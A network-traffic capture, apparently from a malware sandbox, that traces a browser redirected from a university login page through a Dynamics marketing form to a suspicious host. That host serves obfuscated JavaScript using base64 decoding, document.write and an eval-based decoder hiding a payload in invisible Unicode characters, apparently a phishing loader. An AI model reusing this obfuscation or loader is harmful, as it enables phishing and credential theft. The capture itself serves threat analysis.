2025-02-25 14:37:05 UTC	764	IN	HTTP/1.1 302 Cache-Control: private requestId: c85f44a2-b4fc-4277-8d16-1b6ccaa36703 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 Strict-Transport-Security: max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Set-Cookie: org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE=en; Path=/; Secure; HttpOnly Set-Cookie: TGC=; Max-Age=0; Expires=Thu, 01 Jan 1970 00:00:10 GMT; Domain=login.case.edu; Path=/cas/; Secure; HttpOnly Location: https://assets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe Content-Length: 0 Date: Tue, 25 Feb 2025 14:37:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49744	13.107.253.72	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:05 UTC	773	OUT	GET /073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:07 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 25 Feb 2025 14:37:07 GMT Content-Type: text/html Content-Length: 568 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=900, must-revalidate x-ms-trace-id: 2c1caadc72b15a5c0604dec790af4bc9 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20250225T143705Z-1647b76597bpgxjmhC1MNZpcxs00000007q000000000537c x-fd-int-roxy-purgeid: 83710230 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-02-25 14:37:07 UTC	568	IN	Data Raw: 3c 64 69 76 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 66 6f 72 6d 2d 69 64 3d 27 66 37 36 32 62 65 38 32 2d 63 39 66 32 2d 65 66 31 31 2d 39 33 34 32 2d 30 30 30 64 33 61 35 39 64 66 62 65 27 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 66 6f 72 6d 2d 61 70 69 2d 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 75 62 6c 69 63 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 61 70 69 2f 76 31 2e 30 2f 6f 72 67 73 2f 30 37 33 31 31 36 62 37 2d 64 39 65 64 2d 65 66 31 31 2d 39 33 33 64 2d 36 30 34 35 62 64 30 32 37 63 33 35 2f 6c 61 6e 64 69 6e 67 70 61 67 65 66 6f 72 6d 73 27 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 63 61 63 68 65 64 2d 66 6f 72 6d 2d 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d Data Ascii: <div data-form-id='f762be82-c9f2-ef11-9342-000d3a59dfbe' data-form-api-url='https://public-usa.mkt.dynamics.com/api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms' data-cached-form-url='https://assets-usa.mkt.dynam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49753	52.146.76.30	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:10 UTC	605	OUT	OPTIONS /api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms/forms/f762be82-c9f2-ef11-9342-000d3a59dfbe/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://assets-usa.mkt.dynamics.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:10 UTC	383	IN	HTTP/1.1 204 No Content Server: nginx Date: Tue, 25 Feb 2025 14:37:10 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: a8a70bc7217a02d610c163e24c6db20e Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49754	52.146.76.30	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:11 UTC	715	OUT	POST /api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms/forms/f762be82-c9f2-ef11-9342-000d3a59dfbe/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Content-Length: 153 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:11 UTC	153	OUT	Data Raw: 7b 22 70 61 67 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 30 37 33 31 31 36 62 37 2d 64 39 65 64 2d 65 66 31 31 2d 39 33 33 64 2d 36 30 34 35 62 64 30 32 37 63 33 35 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 66 37 36 32 62 65 38 32 2d 63 39 66 32 2d 65 66 31 31 2d 39 33 34 32 2d 30 30 30 64 33 61 35 39 64 66 62 65 22 7d Data Ascii: {"pageUrl":"https://assets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe"}
2025-02-25 14:37:11 UTC	366	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 25 Feb 2025 14:37:11 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: 9b960ddb918617fb4f1d42f2156490b8 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2025-02-25 14:37:11 UTC	54	IN	Data Raw: 32 62 0d 0a 7b 22 69 6e 74 65 72 61 63 74 69 6f 6e 53 74 61 74 75 73 22 3a 30 2c 22 65 72 72 6f 72 4d 65 73 73 61 67 65 22 3a 6e 75 6c 6c 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2b{"interactionStatus":0,"errorMessage":null}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49756	52.146.76.30	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:12 UTC	468	OUT	GET /api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms/forms/f762be82-c9f2-ef11-9342-000d3a59dfbe/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:12 UTC	218	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Tue, 25 Feb 2025 14:37:12 GMT Content-Length: 0 Connection: close x-ms-trace-id: 1b8acb5aa28bc119830c90626f9b9625 Strict-Transport-Security: max-age=2592000; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49763	52.146.76.30	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:19 UTC	598	OUT	OPTIONS /api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms/forms/f762be82-c9f2-ef11-9342-000d3a59dfbe HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://assets-usa.mkt.dynamics.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:20 UTC	383	IN	HTTP/1.1 204 No Content Server: nginx Date: Tue, 25 Feb 2025 14:37:19 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: 1181c9f19bd2a9b1f3545253b6bc6245 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49764	52.146.76.30	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:20 UTC	708	OUT	POST /api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms/forms/f762be82-c9f2-ef11-9342-000d3a59dfbe HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Content-Length: 174 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:20 UTC	174	OUT	Data Raw: 7b 22 70 75 62 6c 69 73 68 65 64 46 6f 72 6d 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 30 37 33 31 31 36 62 37 2d 64 39 65 64 2d 65 66 31 31 2d 39 33 33 64 2d 36 30 34 35 62 64 30 32 37 63 33 35 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 66 37 36 32 62 65 38 32 2d 63 39 66 32 2d 65 66 31 31 2d 39 33 34 32 2d 30 30 30 64 33 61 35 39 64 66 62 65 22 2c 22 66 69 65 6c 64 73 22 3a 5b 5d 7d Data Ascii: {"publishedFormUrl":"https://assets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe","fields":[]}
2025-02-25 14:37:21 UTC	366	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 25 Feb 2025 14:37:20 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: 8795f6b11e327bf5d088dd1f44954cee Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2025-02-25 14:37:21 UTC	111	IN	Data Raw: 36 34 0d 0a 7b 22 73 75 62 6d 69 73 73 69 6f 6e 53 74 61 74 75 73 22 3a 30 2c 22 65 72 72 6f 72 4d 65 73 73 61 67 65 22 3a 6e 75 6c 6c 2c 22 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 49 64 22 3a 22 38 39 66 35 62 37 31 61 2d 65 31 37 66 2d 34 38 34 33 2d 38 38 38 34 2d 32 61 62 64 31 31 30 62 30 35 37 66 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 64{"submissionStatus":0,"errorMessage":null,"formSubmissionId":"89f5b71a-e17f-4843-8884-2abd110b057f"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49767	52.146.76.30	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:21 UTC	461	OUT	GET /api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms/forms/f762be82-c9f2-ef11-9342-000d3a59dfbe HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:21 UTC	300	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 25 Feb 2025 14:37:21 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close x-ms-trace-id: 17d205d494b4fe5ab6d6fa6ecbfbce27 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2025-02-25 14:37:21 UTC	16084	IN	Data Raw: 31 66 33 35 0d 0a 7b 22 66 6f 72 6d 52 65 6e 64 65 72 69 6e 67 53 74 61 74 75 73 22 3a 30 2c 22 66 6f 72 6d 48 74 6d 6c 22 3a 22 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 5c 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 5c 22 20 63 6f 6e 74 65 6e 74 3d 5c 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 5c 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 5c 22 76 69 65 77 70 6f 72 74 5c 22 20 63 6f 6e 74 65 6e 74 3d 5c 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 5c 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 67 6f 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 66 77 Data Ascii: 1f35{"formRenderingStatus":0,"formHtml":"<!DOCTYPE html><html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"><meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"><link href=\"https://go.microsoft.com/fw
2025-02-25 14:37:21 UTC	10944	IN	Data Raw: 74 64 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 75 74 65 72 20 74 62 6f 64 79 20 74 72 20 74 68 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 7d 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 72 61 70 2d 73 65 63 74 69 6f 6e 20 2e 6d 75 Data Ascii: td,\n .outer tbody tr th {\n display: block !important;\n box-sizing: border-box;\n height: auto !important;\n min-height: 0px !important;\n }\n .wrap-section .mu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49768	104.21.71.57	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:22 UTC	673	OUT	GET /a7ju/ HTTP/1.1 Host: rvxt.ymactablet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:22 UTC	1200	IN	HTTP/1.1 200 OK Date: Tue, 25 Feb 2025 14:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6XFACQXxw6DdXHDac%2FJZ2dCAXcaFIGAzV8c3B18k3tEINCLxYPRl0WVsElj326ITdJ%2BptxjGxfyvRv99Vbtkf5bWDFxyGHYop5GQK7J9IPTz6ciAInzao9bSt6N7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=346&min_rtt=328&rtt_var=159&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1582&delivery_rate=8567796&cwnd=252&unsent_bytes=0&cid=608fc382bfe16f0d&ts=200&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImpGMWF3WVJMZEVyZFJWKzV1UnFoeFE9PSIsInZhbHVlIjoianpMZEtzS0RtamMwN1dWUnpmcVV5QTdsSEdaMU50aWJUVlBHRkNJbVdQcEJGNFdGT0wwUHJLY3BybmRmdSswRHZYejZVdC9qTm8xM1VoSWVwRXl5WGIvNmE5cEJlbzlqUlpMS0JBSEdKMzBQakxRT0MyWURaRUhCWDM3OU9RQWoiLCJtYWMiOiJmYTUwM2U3NjFlOWRjY2IwNGEwMzdhMmE5MDI2M2YyMjZmZjUyZGM3YmE4MzA0YjQzMmU2OGMzYzY1M2ZjNzFhIiwidGFnIjoiIn0%3D; expires=Tue, 25-Feb-2025 16:37:22 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-02-25 14:37:22 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 5a 4e 51 54 64 54 63 56 46 6d 55 54 67 34 51 32 4e 4c 64 6b 70 7a 54 48 68 4a 55 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 47 31 58 62 44 4a 30 57 57 35 59 63 31 42 5a 64 32 68 79 54 33 64 51 5a 47 52 43 4f 45 68 50 63 55 5a 33 54 6b 5a 34 63 31 55 32 52 32 70 72 52 30 39 47 53 55 56 69 55 30 74 6e 62 7a 4a 4c 62 6d 68 44 53 45 70 4c 54 6e 46 4a 55 48 4e 5a 55 46 56 6e 54 6b 45 30 62 7a 64 6a 56 6c 4e 53 52 6a 6c 76 54 54 46 4a 5a 44 68 51 4e 32 56 57 5a 56 4a 30 4d 44 6c 33 54 55 56 58 61 30 4e 7a 56 6a 68 72 64 6d 6c 4e 62 7a 4e 50 4e 54 56 56 53 32 34 35 52 31 68 6f 52 6d 74 47 5a 6e 46 75 61 32 68 58 4e 6a 49 33 4f 54 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlZNQTdTcVFmUTg4Q2NLdkpzTHhJUFE9PSIsInZhbHVlIjoicG1XbDJ0WW5Yc1BZd2hyT3dQZGRCOEhPcUZ3TkZ4c1U2R2prR09GSUViU0tnbzJLbmhDSEpLTnFJUHNZUFVnTkE0bzdjVlNSRjlvTTFJZDhQN2VWZVJ0MDl3TUVXa0NzVjhrdmlNbzNPNTVVS245R1hoRmtGZnFua2hXNjI3OTQ
2025-02-25 14:37:22 UTC	776	IN	Data Raw: 35 37 62 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 6c 4f 65 73 41 48 63 66 6b 76 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 53 64 6c 68 55 4c 6e 6c 74 59 57 4e 30 59 57 4a 73 5a 58 51 75 59 32 39 74 4c 32 45 33 61 6e 55 76 22 29 3b 0a 72 59 48 43 76 56 74 70 53 75 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 53 6b 58 75 42 79 66 49 57 42 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 6c 4f 65 73 41 48 63 66 6b 76 20 3d 3d 20 72 59 48 43 76 56 74 70 53 75 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 53 6b 58 75 42 79 66 49 57 42 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f Data Ascii: 57b9<script>lOesAHcfkv = atob("aHR0cHM6Ly9SdlhULnltYWN0YWJsZXQuY29tL2E3anUv");rYHCvVtpSu = atob("bm9tYXRjaA==");SkXuByfIWB = atob("d3JpdGU=");if(lOesAHcfkv == rYHCvVtpSu){document[SkXuByfIWB](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+Cjxo
2025-02-25 14:37:22 UTC	1369	IN	Data Raw: 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6c 64 6d 46 73 4b 46 73 75 4c 69 35 72 5a 58 6c 64 43 69 41 67 49 43 41 67 49 43 35 74 59 58 41 6f 59 32 68 68 63 69 41 39 50 69 41 72 4b 43 66 76 76 71 41 6e 49 44 34 67 59 32 68 68 63 69 6b 70 43 69 41 67 49 43 41 67 49 43 35 71 62 32 6c 75 4b 43 63 6e 4b 51 6f 67 49 43 41 67 49 43 41 75 63 6d 56 77 62 47 46 6a 5a 53 67 76 4c 6e 73 34 66 53 39 6e 4c 43 42 69 65 58 52 6c 49 44 30 2b 49 46 4e 30 63 6d 6c 75 5a 79 35 6d 63 6d 39 74 51 32 68 68 63 6b 4e 76 5a 47 55 6f 63 47 46 79 63 32 56 4a 62 6e 51 6f 59 6e 6c 30 5a 53 77 67 4d 69 6b 70 4b 51 6f 67 49 43 41 67 4b 54 73 4b 49 43 42 39 49 41 70 39 4b 53 34 4e 43 75 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b Data Ascii: CAgIHJldHVybiBldmFsKFsuLi5rZXldCiAgICAgIC5tYXAoY2hhciA9PiArKCfvvqAnID4gY2hhcikpCiAgICAgIC5qb2luKCcnKQogICAgICAucmVwbGFjZSgvLns4fS9nLCBieXRlID0+IFN0cmluZy5mcm9tQ2hhckNvZGUocGFyc2VJbnQoYnl0ZSwgMikpKQogICAgKTsKICB9IAp9KS4NCu++oOOFpOOFpO++oOOFpO++oO++oOOFpO++
2025-02-25 14:37:22 UTC	1369	IN	Data Raw: 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 Data Ascii: OFpO++oOOFpOOFpO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpO++oO++oO++oOOFpO++oOOFpO++oO++oO++oO++oO++oOOFpOOFpO++oOOFpO++oO++oO++oO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFp
2025-02-25 14:37:22 UTC	1369	IN	Data Raw: 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f Data Ascii: FpO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oOOFpO++oO++oO++oO++oO++oOOFpO++oOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oO
